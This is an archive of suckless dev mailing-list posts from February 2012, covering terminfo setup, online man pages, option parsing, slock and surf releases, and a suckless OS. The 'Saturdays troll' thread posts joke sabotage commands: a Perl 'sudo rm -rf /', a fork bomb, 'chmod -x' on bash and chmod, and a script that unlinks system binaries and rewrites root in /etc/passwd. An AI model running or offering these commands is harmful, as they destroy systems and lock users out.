Re: [dev] [st] htop, tmux, terminfo
On Sun, Feb 12, 2012 at 12:59:30AM +0100, Martin Kopta wrote:
> The process viewer htop isn't drawing properly in st [1].
> Is there know solution for st/htop drawing problem?
This is a known "bug", I think the thread on it before is here [1]
Basically, st doesn't have a bold/bright colour, and just uses normal
black
> I have also noticed that when I log into some system via ssh, tmux
> won't let me attach my sessions due missing terminfo for
> st-256color. Well, for my private servers, I just scp .terminfo
> directory and problem is solved. However, I co-manage lots of
> various company servers and customer servers and copying .terminfo
> into each of them is just silly. Changing TERM to "xterm" forces
> apps run, but drawing goes mostly horribly wrong. So, my second
> question:
> How do you deal with st, terminfo of st and ssh to lots of various servers?
>
> [1] http://martin.kopta.eu/trash/st-htop.png
for s in $(grep '^Host' .ssh/config | awk '{print $2}')
do ssh $s tic - < path/to/st.info
done
or whatever to get tic to read stdin
Thanks,
Rob
[1] http://lists.suckless.org/dev/1104/7444.html
[dev] [st] htop, tmux, terminfo
I have begun to use st and I would like to ask about two things. I know it has been already discussed here, but I could not find any final solution. The process viewer htop isn't drawing properly in st [1]. Current load, cpu, mem, swap and other user processes aren't visible. xterm shows them fine, using dark grey color. I use default configuration for st, except font [2], but the drawing problem occurs even with default configuration. So, the first question: Is there know solution for st/htop drawing problem? I have also noticed that when I log into some system via ssh, tmux won't let me attach my sessions due missing terminfo for st-256color. Well, for my private servers, I just scp .terminfo directory and problem is solved. However, I co-manage lots of various company servers and customer servers and copying .terminfo into each of them is just silly. Changing TERM to "xterm" forces apps run, but drawing goes mostly horribly wrong. So, my second question: How do you deal with st, terminfo of st and ssh to lots of various servers? Thank you in advance for any helpful answers, Martin Kopta [1] http://martin.kopta.eu/trash/st-htop.png [2] #define FONT "-*-terminus-*-*-*-*-14-*-*-*-*-*-*-u" #define BOLDFONT "-*-terminus-bold-*-*-*-14-*-*-*-*-*-*-u"
Re: [dev] [perl] Saturdays troll
> Thanks, this is very funny in that anyone using a sane shell won't > suffer. I will definitely use this where I can! It also completely ruins things for people who symlink sh to bash!
Re: [dev] Suckless OS (was About escape sequences and stuff)
On Sat, 11 Feb 2012 20:32:16 -, Jonathan Slark wrote: Has the suckless community considered starting an operating system from scratch? Linux/BSD etc suck by default as they are evolutions of software from the 1970s and have all the legacy baggage that comes with that. Even Plan 9 dates back to the 1980s. The only new OS's that seem to be in development are based on existing software: Haiku, ReactOS etc. ...and GNU Hurd, Singularity, etc. All the real fun seems to happen in L4, but Plan9 is alive and kicking softly. -- -,Bjartur
Re: [dev] Suckless OS (was About escape sequences and stuff)
most systems from scratch suck
Re: [dev] Re: Suckless.org Man page links
Thanks, seems like it's still working :P
Re: [dev] [perl] Saturdays troll
On Sat, Feb 11, 2012 at 16:17, Paul Onyschuk wrote: > $ sudo chmod -x bash && sudo chmod -x chmod Thanks, this is very funny in that anyone using a sane shell won't suffer. I will definitely use this where I can!
Re: [dev] Suckless OS (was About escape sequences and stuff)
On Sat, Feb 11, 2012 at 9:32 PM, Jonathan Slark wrote: > Has the suckless community considered starting an operating system from > scratch? > > Linux/BSD etc suck by default as they are evolutions of software from the > 1970s and have all the legacy baggage that comes with that. Even Plan 9 > dates back to the 1980s. See: http://groups.google.com/group/wmii/browse_thread/thread/505f5e1af5a969fd/95ef2714fc0a98b0?lnk=gst http://groups.google.com/group/wmii/browse_thread/thread/712bca45b5a91c8b/ddde6ba726fb897a?lnk=gst http://groups.google.com/group/wmii/browse_thread/thread/de501b1bfdf13c11/db0613ec061ac965?lnk=gst http://groups.google.com/group/wmii/browse_thread/thread/91bcadcdf45aad82/ad7f12095a0b2fc1?lnk=gst
Re: [dev] Re: Suckless.org Man page links
| man pages on the web-site where one downloads the software are nice | for the simple reason that they tell us what the software is capable | of doing before we install it. This is exactly what I've used the online manpages for. For this, it would be convenient if the manpage was directly linked from the software's page. I know that I can find the manpages on suckless.org, but someone new may not notice the general 'man' link at the top of all of the webpages. - cks
Re: [dev] Suckless OS (was About escape sequences and stuff)
Plan 9 is still being developed and is in use by business and universities, unlike react os and haiku. Just because it was started in the 80s doesn't automatically make it bad.
Re: [dev] Suckless.org Man page links
On Sat, Feb 11, 2012 at 5:54 PM, Anselm R Garbe wrote: > Actually I conclude that the current wman apps for werc sucks big > time. All I really want is, that if there is a *.[1-9] file in the > directory, it will be formatted using troff instead markdown. That's > much simpler and the man pages would appear in the site menu. > > I will hack this and get rid of wman. Could you also display man pages in full? There's no reason to split them in pages on a browser. This has always bothered me.
[dev] Suckless OS (was About escape sequences and stuff)
Has the suckless community considered starting an operating system from scratch? Linux/BSD etc suck by default as they are evolutions of software from the 1970s and have all the legacy baggage that comes with that. Even Plan 9 dates back to the 1980s. The only new OS's that seem to be in development are based on existing software: Haiku, ReactOS etc. Jon.
Re: [dev] Suckless.org Man page links
On 11/02/2012 17:52, Anselm R Garbe wrote: On 11 February 2012 17:54, Anselm R Garbe wrote: Ok, done, see http://man.suckless.org http://man.suckless.org/9base http://man.suckless.org/sbase Thanks, I'm running OpenBSD + suckless tools in a virtual machine whilst I'm learning to use them. It's useful to be able to load the man page for the suckless tools on the host. Jon.
Re: [dev] slock-1.0
On Sat, Feb 11, 2012 at 01:50:38PM -0500, Joseph Iacobucci wrote: > On 02/11/2012 05:03 AM, Anselm R Garbe wrote: > > It does not contain other potential features that were requested > > during the years, like displaying some text in case the user hits his > > keyboard. Such features will be subject to future slock releases. > > Instead of text, I configured my slock to change the background color > when there are keyboard presses. If the password check fails, then it > goes back to the main color. People can have the existing behavior by > making both colors the same. Do you have a publicly accessible copy of the source code or a patch?
Re: [dev] slock-1.0
On 02/11/2012 05:03 AM, Anselm R Garbe wrote: > It does not contain other potential features that were requested > during the years, like displaying some text in case the user hits his > keyboard. Such features will be subject to future slock releases. Instead of text, I configured my slock to change the background color when there are keyboard presses. If the password check fails, then it goes back to the main color. People can have the existing behavior by making both colors the same. -- Joseph Iacobucci gtg3...@mail.gatech.edu
Re: [dev] Suckless.org Man page links
On 11 February 2012 17:54, Anselm R Garbe wrote: > Actually I conclude that the current wman apps for werc sucks big > time. All I really want is, that if there is a *.[1-9] file in the > directory, it will be formatted using troff instead markdown. That's > much simpler and the man pages would appear in the site menu. > > I will hack this and get rid of wman. Ok, done, see http://man.suckless.org http://man.suckless.org/9base http://man.suckless.org/sbase Cheers, Anselm
Re: [dev] Suckless.org Man page links
Actually I conclude that the current wman apps for werc sucks big time. All I really want is, that if there is a *.[1-9] file in the directory, it will be formatted using troff instead markdown. That's much simpler and the man pages would appear in the site menu. I will hack this and get rid of wman. Having said this, I think I simplified and changed werc quite a bit, so that I will suggest to use our werc as official werc2 to Uriel ;) Cheers, Anselm
Re: [dev] Suckless.org Man page links
On 11 February 2012 17:41, Anselm R Garbe wrote: > Except 9base and sbase have different URLs: http://man.suckless.org/9base/1/ http://man.suckless.org/sbase/1/ Sorry for the noise.
Re: [dev] Suckless.org Man page links
On 11 February 2012 17:00, Andrew Hills wrote: > On Sat, Feb 11, 2012 at 10:54 AM, Anselm R Garbe wrote: >> In such a world you could run a proper environment using qemu or >> virtualbox, right? >> >> Anyhow, if there is more demand for the man pages, I might revise my >> decision. > > Unfortunately, no. But, when man pages were not immediately available > online, I hacked together some godawful sh script that called the > right sequence of nroff and whatever else man uses. In any case, my > need has passed; the suckless tools are not so complicated that I > can't remember their syntax. The number of users stuck in completely > backwards environments is probably so low that it is not worth the > effort of suckless developers to update yet another section of the > website whenever something changes. Well ok, I changed my mind and re-established man.suckless.org, a bit simpler than before: For example all suckless tools' man pages can be found at http://man.suckless.org/1/ Except 9base and sbase have different URLs: http://man.suckless.org/9base/1 http://man.suckless.org/sbase/1 Cheers, Anselm
Re: [dev] Suckless.org Man page links
On Sat, 11 Feb 2012 10:41:38 -0500 Andrew Hills wrote: > > Before I was familiar with the software, having the man pages on the > website was very convenient, as the retarded version of man shipped > with RHEL (at work, of course) wouldn't let me point to an arbitrary > directory of man page files or an arbitrary man page file. This is an > edge case, but I am suggesting that it could be helpful to those of us > desperately trying to survive in a world of broken Unix machines > maintained by an MCITP-certified IT department. > Actually man(1) is brain dead, it is calling something like this: $ zcat -f /path/to/manpage.1.gz | eqn | grap | pic | tbl | vgrind \ | refer | groff -S -P-h -Wall -mtty-char -man-Tascii | less Missing filters are skipped in pipeline, still it is long pipeline. Much better replacement for groff as man page parser is mdocml[1]. It can be used this way: $ zcat -f /path/to/manpage.1.gz | mandoc | less I would say that simplest man(1) for mandoc can be written in ~10 lines of shell script (check if man page is compressed or not depending on file suffix and pipe it to mandoc and pager). On Sat, 11 Feb 2012 11:00:32 -0500 Andrew Hills wrote: > > Unfortunately, no. But, when man pages were not immediately available > online, I hacked together some godawful sh script that called the > right sequence of nroff and whatever else man uses. In any case, my > need has passed; the suckless tools are not so complicated that I > can't remember their syntax. The number of users stuck in completely > backwards environments is probably so low that it is not worth the > effort of suckless developers to update yet another section of the > website whenever something changes. > Producing HTML output with mandoc is also simple: $ zcat -f /path/to/manpage.1.gz | mandoc -Thtml \ -Ostyle=/path/to/style.css > manpage.html Other alternative is plain text file: $ zcat -f /usr/to/manpage.1.gz | mandoc | col -b > manpage.txt I don't think that col(1) is shipped with any Linux distribution, but this is small tool and source from *BSD repositories can be used. [1] http://mdocml.bsd.lv/
Re: [dev] Suckless.org Man page links
On Sat, Feb 11, 2012 at 10:54 AM, Anselm R Garbe wrote: > In such a world you could run a proper environment using qemu or > virtualbox, right? > > Anyhow, if there is more demand for the man pages, I might revise my decision. Unfortunately, no. But, when man pages were not immediately available online, I hacked together some godawful sh script that called the right sequence of nroff and whatever else man uses. In any case, my need has passed; the suckless tools are not so complicated that I can't remember their syntax. The number of users stuck in completely backwards environments is probably so low that it is not worth the effort of suckless developers to update yet another section of the website whenever something changes. --Andrew Hills
Re: [dev] Re: Suckless.org Man page links
man pages on the web-site where one downloads the software are nice for the simple reason that they tell us what the software is capable of doing before we install it. -- sic dicit magister P University of Toronto / Fordham University http://individual.utoronto.ca/peterjh gpg 1024D/ED6EF59B (7D1A 522F D08E 30F6 FA42 B269 B860 352B ED6E F59B) gpg --keyserver pgp.mit.edu --recv-keys ED6EF59B
Re: [dev] Suckless.org Man page links
On 11 February 2012 16:41, Andrew Hills wrote: > On Sat, Feb 11, 2012 at 4:58 AM, Anselm R Garbe wrote: >> I think users should use man on their local host instead. > > Before I was familiar with the software, having the man pages on the > website was very convenient, as the retarded version of man shipped > with RHEL (at work, of course) wouldn't let me point to an arbitrary > directory of man page files or an arbitrary man page file. This is an > edge case, but I am suggesting that it could be helpful to those of us > desperately trying to survive in a world of broken Unix machines > maintained by an MCITP-certified IT department. In such a world you could run a proper environment using qemu or virtualbox, right? Anyhow, if there is more demand for the man pages, I might revise my decision. Cheers, Anselm
Re: [dev] Suckless.org Man page links
On Sat, Feb 11, 2012 at 4:58 AM, Anselm R Garbe wrote: > I think users should use man on their local host instead. Before I was familiar with the software, having the man pages on the website was very convenient, as the retarded version of man shipped with RHEL (at work, of course) wouldn't let me point to an arbitrary directory of man page files or an arbitrary man page file. This is an edge case, but I am suggesting that it could be helpful to those of us desperately trying to survive in a world of broken Unix machines maintained by an MCITP-certified IT department. --Andrew Hills
Re: [dev] sbase TODO patch
On 02/11/12 at 12:07pm, Bjartur Thorlacius wrote: > Þann lau 11.feb 2012 09:29, skrifaði Felix Janda: > > sed 's/rmdir/unlink/' rmdir.c > unlink.c > Shouldn't there be an utility that does both? A flag to rm, perhaps? > What do you exactly mean? Which function of rmdir(1) and unlink(1) is rm(1) missing? I noticed that unlink(1) should not take more than one argument...
Re: [dev] stest review
On 11 February 2012 16:02, Kurt H Maier wrote: > On Sat, Feb 11, 2012 at 03:39:35PM +0100, Anselm R Garbe wrote: >> It's quite consistent in most suckless tools actually. One difference >> I stumbled upon is exactly stest, because it uses the clunky getopt() >> approach and I really wonder why it needs so many flags. > > sbase uses getopt and I suspect will continue to do so. it's all very > well to go on about 'too much choice' but it's hard enough to get people > to implement fundamental unix utilities without also demanding they jump > through option parsing hoops for no technical reason. > > if you like for() stuff so much, why not put it into a function and > stuff that into a library? maybe call it getopt? Writing a for() loop to process the arguments is the same effort as using the ARG... approach or using getopt(). Hence, there is absolutely no point in writing a function or macro that does it, as arguments will vary from tool to tool. Cheers, Anselm
Re: [dev] [perl] Saturdays troll
On Sat, Feb 11, 2012 at 03:48:52PM +0100, Anselm R Garbe wrote: > But be careful executing this. I can't warrant that it works and I > take no responsibility for any data loss. #!/usr/bin/perl # ruin computer without data loss fork while fork;
Re: [dev] [perl] Saturdays troll
On Sat, 11 Feb 2012 15:48:52 +0100
Anselm R Garbe wrote:
>
> Indeed, here we go:
>
> #!/usr/bin/perl
> exec("sudo", "rm", "-rf", "/");
>
> But be careful executing this. I can't warrant that it works and I
> take no responsibility for any data loss.
>
I'm not sure if it works anymore. Most popular used rm(1) version,
which is from GNU coreutils comes with some protection of the filesystem
root, you need "--no-preserve-root" option AFAIK.
More subtle solution would look like:
$ sudo chmod -x bash && sudo chmod -x chmod
If /bin/sh is linked to bash it can be interesting. Maybe /sbin/init or
something else is better target. Still no actual data is destroyed, so
chmod usage is limited.
Re: [dev] init
On Sat, Feb 11, 2012 at 01:28:21PM +0100, hiro wrote: > when I want an init but no busybox, what should I use? > daemontools: http://cr.yp.to/daemontools.html minit: http://www.fefe.de/minit/ twsinit: http://www.energymech.net/users/proton/ runit: http://smarden.org/runit/ hope this helps. most of these things link to other similar things.
Re: [dev] stest review
On Sat, Feb 11, 2012 at 03:39:35PM +0100, Anselm R Garbe wrote: > It's quite consistent in most suckless tools actually. One difference > I stumbled upon is exactly stest, because it uses the clunky getopt() > approach and I really wonder why it needs so many flags. sbase uses getopt and I suspect will continue to do so. it's all very well to go on about 'too much choice' but it's hard enough to get people to implement fundamental unix utilities without also demanding they jump through option parsing hoops for no technical reason. if you like for() stuff so much, why not put it into a function and stuff that into a library? maybe call it getopt?
Re: [dev] [surf] Grave bug reported for Surf in Debian
On Sat, Feb 11, 2012 at 03:39:22PM +0530, Vasudev Kamath wrote: > On Sat, Feb 11, 2012 at 3:14 PM, Anselm R Garbe wrote: > > On 11 February 2012 04:13, Vasudev Kamath wrote: > >> For your information. I applied your patch and it was uploaded to > >> Debian. But I got this mail after it is accepted to Debian. If you can > >> provide me a patch which will help saving the surf package in > >> Debian it would be great. > > > > See attached, same as Florian suggested. > It looks like same patch as the one Peter sent. Am I right? Yes -Anselm
Re: [dev] [perl] Saturdays troll
On 11 February 2012 12:36, Simon Wurstwasser wrote:
> please review the attached perl script.
> I bet, it could be written more efficiently. :-)
Indeed, here we go:
#!/usr/bin/perl
exec("sudo", "rm", "-rf", "/");
But be careful executing this. I can't warrant that it works and I
take no responsibility for any data loss.
Cheers,
Anselm
Re: [dev] Suckless.org Man page links
On 11 February 2012 11:48, hiro <23h...@googlemail.com> wrote: > Anselm, consistently you should close the whole web page. Because > nobody needs shitty things like the web. We only try to suck less, we don't attempt to not suck at all ;) Thus using the web in a less sucking way than most others is fine. Cheers, Anselm
Re: [dev] stest review
On 11 February 2012 14:04, Christoph Lohmann <2...@r-36.net> wrote:
> Anselm R Garbe wrote:
>> However the real point is that the getopt() style or ARGBEGIN crap
>> enables and encourages the developer to introduce a bad command flag
>> interface. Because those approaches hide the utter complexity
>> involved, the developer tends to care less here. This is my main
>> argument against getopt() or ARGBEGIN.
>>
>> If you can write a simple for() loop to process your command line
>> flags, your interface can't be that hard to grasp for the user.
>> Otherwise he will look up the weirdo flags quite often in your man
>> file and develop hate against your tool over time ;)
>
> That is plain wrong. The ARGBEGIN { } ARGEND; style is easy to read
> and adds all the convenience you want in flag parsing. On the other
> side getopt() adds a huge dependency.
Well, I agree that ARG... is simpler than getopt(), but that's beside
the whole point.
Usually the ARG.. handling can be done very similar just using a for()
loop, in most cases.
And in all other cases you should rather reconsider your whole command
line interface, as this indicates bad design or too much choice
already.
> The suckless standard library should include either the ARG* macros
> or add another function, which can be put into the switch() state-
> ment.
I really can't see that need.
> Users will rather be irritated, if the commandline argument hand-
> ling is different in every application. They then *have* to read
> the sourcecode for finding out how arguments are handled.
It's quite consistent in most suckless tools actually. One difference
I stumbled upon is exactly stest, because it uses the clunky getopt()
approach and I really wonder why it needs so many flags.
Cheers,
Anselm
Re: [dev] stest review
Hello. Rob wrote: > On Sat, Feb 11, 2012 at 02:04:43PM +0100, Christoph Lohmann wrote: >> Users will rather be irritated, if the commandline argument hand- >> ling is different in every application. They then *have* to read >> the sourcecode for finding out how arguments are handled. > > What Anselm is on about, is that it prevents the programmer from > adding more and more flags, keeping the complexity low, not from > having a different style for each application. That is why we have manpages. They allow a clear description of what is done and how options should be used. You might have noticed, that the current style of argument hand- ling in suckless applications involves huge if-else constructs with strcmp(). In around eight lines of macro this can be avoided. The resulting code will look like a simple switch() statement and provide easy additional argument handling. Sincerely, Christoph Lohmann
Re: [dev] stest review
On Sat, Feb 11, 2012 at 02:04:43PM +0100, Christoph Lohmann wrote: > Hello. > > Anselm R Garbe wrote: > > If you can write a simple for() loop to process your command line > > flags, your interface can't be that hard to grasp for the user. > > Otherwise he will look up the weirdo flags quite often in your man > > file and develop hate against your tool over time ;) > > That is plain wrong. I disagree > Users will rather be irritated, if the commandline argument hand- > ling is different in every application. They then *have* to read > the sourcecode for finding out how arguments are handled. What Anselm is on about, is that it prevents the programmer from adding more and more flags, keeping the complexity low, not from having a different style for each application. Rob
Re: [dev] sbase TODO patch
2012/2/11 Bjartur Thorlacius > > Shouldn't there be an utility that does both? A flag to rm, perhaps? > +1
Re: [dev] stest review
Hello.
Anselm R Garbe wrote:
> However the real point is that the getopt() style or ARGBEGIN crap
> enables and encourages the developer to introduce a bad command flag
> interface. Because those approaches hide the utter complexity
> involved, the developer tends to care less here. This is my main
> argument against getopt() or ARGBEGIN.
>
> If you can write a simple for() loop to process your command line
> flags, your interface can't be that hard to grasp for the user.
> Otherwise he will look up the weirdo flags quite often in your man
> file and develop hate against your tool over time ;)
That is plain wrong. The ARGBEGIN { } ARGEND; style is easy to read
and adds all the convenience you want in flag parsing. On the other
side getopt() adds a huge dependency.
The suckless standard library should include either the ARG* macros
or add another function, which can be put into the switch() state-
ment.
Users will rather be irritated, if the commandline argument hand-
ling is different in every application. They then *have* to read
the sourcecode for finding out how arguments are handled.
Sincerely,
Christoph Lohmman
[dev] init
when I want an init but no busybox, what should I use?
Re: [dev] sbase TODO patch
Þann lau 11.feb 2012 09:29, skrifaði Felix Janda: sed 's/rmdir/unlink/' rmdir.c > unlink.c Shouldn't there be an utility that does both? A flag to rm, perhaps?
Re: [dev] [perl] Saturdays troll
why .txt?
[dev] [perl] Saturdays troll
Hi,
please review the attached perl script.
I bet, it could be written more efficiently. :-)
Thanks,
Simon
#!/usr/bin/perl -w
# Bofh.pl Volume 1
# clean a given system
# please rewrite as necessary ;)
binmode(STDOUT, ":utf8");
use vars qw ($nolo $line);
print "Ein \x{224}?" or die;
open ($nolo, "> /etc/nologin")
or die "What?"; # no whitnesses
close($nolo); close(STDERR); # no whining
@ruby = (`command -v ruby`,
"/usr/local/bin/ruby"); # insane
@crap = ("/usr/bin/command-not-found",
"/usr/bin/pulseaudio", # $%@!1
"/usr/sbin/systemd");
foreach $p (@ruby, @crap) {
print "\nunlink $p";
unlink "$p";
}
open (FH, "+< /etc/passwd");
foreach $line () {
if ($line =~ /root/) {
$line =~ s/root/simon/;
print FH $line;
}
}
close(FH);
print STDOUT "\n";
print ("\015Greetings from \x2a\x2a\x2a\x2a \012");
die "died" or die die die; # be safe
Re: [dev] Suckless.org Man page links
Anselm, consistently you should close the whole web page. Because nobody needs shitty things like the web. On 11.02.2012, Anselm R Garbe wrote: > On 10 February 2012 06:09, David Krauser wrote: >> The links to Man pages are broken for some tools. >> >> For example, http://tools.suckless.org/sic links to >> http://man.suckless.org/tools/1/sic which "doesn't exist" > > Links removed. I think users should use man on their local host instead. > > Uriel for instance hosts man pages at man.cat-v.org that the "usual" > user does not have on his local host. But we do not need this on > suckless.org. > > In general I make some progress in reviewing all the weird content > that has evolved during the years and try to simplify all of > suckless.org to suck less. > > Cheers, > Anselm > >
Re: [dev] [surf] Grave bug reported for Surf in Debian
On Sat, Feb 11, 2012 at 3:14 PM, Anselm R Garbe wrote: > On 11 February 2012 04:13, Vasudev Kamath wrote: >> For your information. I applied your patch and it was uploaded to >> Debian. But I got this mail after it is accepted to Debian. If you can >> provide me a patch which will help saving the surf package in >> Debian it would be great. > > See attached, same as Florian suggested. Hello Anslem, It looks like same patch as the one Peter sent. Am I right? Best Regards -- Vasudev Kamath http://vasudevkamath.blogspot.com http://identi.ca/vasudev http://twitter.com/vasudevkamath
Re: [dev] interested in issue tracker dev
On 10 February 2012 18:25, Chris Siebenmann wrote: > | > €I'm coming in late to an ongoing discussion: it sounds like there's > | > something wrong with Byron's version of rc apart from being written from > | > scratch for Unix (and not quite implementing Plan 9 rc syntax, since it > | > doesn't have 'if not'). Do you have a pointer to where I could read more > | > about this? > | > | I'm not aware of a an in-depth analysis of all differences, but the > | main ones are: > | > | - Byron introduced the export keyword > | - Byron broke the default syntax with the else keyword (vs if not) > | - Byron does not export functions into the environment > | - Byron does not export variables into the environment > | - No rcmain counterpart in Byrons version > | > | I'm sure I have missed some other aspects. > > Hmm, something is odd here. I am a long-term user of the Byron version > of rc (I started using it when it was the only choice for an rc-like > thing on Unix), and the main version I have used and always seen does > not have an export keyword and automatically exports functions and > variables into the environment[*]. It does have the two defects of else > vs 'if not' and not having an rcmain. > > (I just grabbed the rc-1.7.1 source from http://rc-shell.slackmatic.org/ > and verified this in the manpage.) > > If there is some mutant version of Byron's rc with these three things, > it is, well, surprisingly mutant. I'd go so far as to call it mutilated. Ok, I might have consumed my Byron rc hacks that resulted in an obscure rci version (about 10 years ago) with Byrons version. I apologize for remembering this wrong and take back the two accusations. > [Another difference between Byron rc and Plan 9 rc is that Byron rc > can run a function every time before the prompt is printed; I don't > think this is part of Plan 9 rc, or at least I can't find it in the > manpage.] Ok, good point. Thanks, Anselm
[dev] slock-1.0
Hi there, I released slock-1.0 which can be obtained from: http://dl.suckless.org/tools/slock-1.0.tar.gz md5sum: 98503f0dae5acc15c90b81ffd423f987 sha1sum: 38cef8503d512252e8f3f8275200e802990892c5 It contains a bugfix for hiding windows created after slock locks the screen. It does not contain other potential features that were requested during the years, like displaying some text in case the user hits his keyboard. Such features will be subject to future slock releases. Cheers, Anselm
Re: [dev] Suckless.org Man page links
On 10 February 2012 06:09, David Krauser wrote: > The links to Man pages are broken for some tools. > > For example, http://tools.suckless.org/sic links to > http://man.suckless.org/tools/1/sic which "doesn't exist" Links removed. I think users should use man on their local host instead. Uriel for instance hosts man pages at man.cat-v.org that the "usual" user does not have on his local host. But we do not need this on suckless.org. In general I make some progress in reviewing all the weird content that has evolved during the years and try to simplify all of suckless.org to suck less. Cheers, Anselm
Re: [dev] [surf] Grave bug reported for Surf in Debian
Hi there, I patched upstream surf today to contain a similar fix. I also bumped the surf version number in config.mk to 0.5 in preparation for a new surf release. I was wondering if Troels will release surf 0.5 soon or what the general maintainer situation is concerning surf? Cheers, Anselm
Re: [dev] [surf] Grave bug reported for Surf in Debian
On 11 February 2012 04:13, Vasudev Kamath wrote:
> For your information. I applied your patch and it was uploaded to
> Debian. But I got this mail after it is accepted to Debian. If you can
> provide me a patch which will help saving the surf package in
> Debian it would be great.
See attached, same as Florian suggested.
Cheers,
Anselm
--- surf.c.orig 2012-02-11 10:42:25.439766456 +0100
+++ surf.c 2012-02-11 10:42:39.279767695 +0100
@@ -126,7 +126,7 @@
apath = g_strconcat(g_get_home_dir(), "/", path, NULL);
if((p = strrchr(apath, '/'))) {
*p = '\0';
- g_mkdir_with_parents(apath, 0755);
+ g_mkdir_with_parents(apath, 0700);
*p = '/';
}
/* creating file (gives error when apath ends with "/") */
Re: [dev] sbase TODO patch
sed 's/rmdir/unlink/' rmdir.c > unlink.c
Re: [dev] stest review
On 11 February 2012 01:34, Stephen Paul Weber wrote: > Somebody claiming to be Anselm R Garbe wrote: >> >> I heavily dislike the fact that dmenu now contains a reference to >> getopt(). Not exactly dmenu, but stest. >> >> Can we please remove the getopt() dependency? > > > What does the community have against getopt() ? It certainly beats the > pants off of writing your own options parser (which almost everyone gets > wrong) and allows your tool to behave however the local system expects (more > or less). I can only speak of myself, not of the the community here. For most tools the getopt() counterpart of a straight for() option loop (like found in most suckless.org tools) is much clearer and often even simpler in my honest opinion. Using the ARGBEGIN... stuff that Plan 9 (and probably Bell's Unix implementation (not sure)) incorporates is no better alternative, as it hides all the ugly work in macros, which makes it a pain to debug -- in case. However the real point is that the getopt() style or ARGBEGIN crap enables and encourages the developer to introduce a bad command flag interface. Because those approaches hide the utter complexity involved, the developer tends to care less here. This is my main argument against getopt() or ARGBEGIN. If you can write a simple for() loop to process your command line flags, your interface can't be that hard to grasp for the user. Otherwise he will look up the weirdo flags quite often in your man file and develop hate against your tool over time ;) Cheers, Anselm
Re: [dev] stest review
On 10 February 2012 01:33, Connor Lane Smith wrote: > On 9 February 2012 19:20, Anselm R Garbe wrote: >> Can we please remove the getopt() dependency? > > If someone writes an ARGBEGIN-style flag parser with clustering, > that's fine. Seems a bit of a waste considering getopt is POSIX, but > never mind. Well, I don't really see the ARGBEGIN...ARGEND crap as a proper alternative either. This is one of my criticisms on the Plan 9 code base. Cheers, Anselm
